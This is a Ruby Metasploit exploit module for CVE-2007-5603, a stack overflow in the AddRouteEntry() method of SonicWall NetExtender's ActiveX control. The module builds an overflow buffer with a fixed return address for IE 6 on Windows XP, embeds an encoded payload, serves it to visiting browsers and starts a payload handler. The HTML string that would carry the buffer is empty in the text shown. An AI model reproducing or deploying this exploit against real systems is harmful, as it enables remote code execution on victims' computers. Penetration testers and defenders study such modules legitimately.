## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in SonicWall SSL-VPN NetExtender. By sending an overly long string to the "AddRouteEntry()" method located in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2007-5603'], [ 'OSVDB', '39069'], [ 'URL', 'http://www.sec-consult.com/303.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'IE 6 / Windows XP SP2 Pro English', { 'Ret' => 0x7e497c7b } ], # 11/01/07 ], 'DisclosureDate' => 'Nov 1 2007', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Set the exploit buffer sploit = rand_text_english(36) + [target.ret].pack('V') sploit << p.encoded + rand_text_english(1024 - p.encoded.length) # Build out the message content = %Q| | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end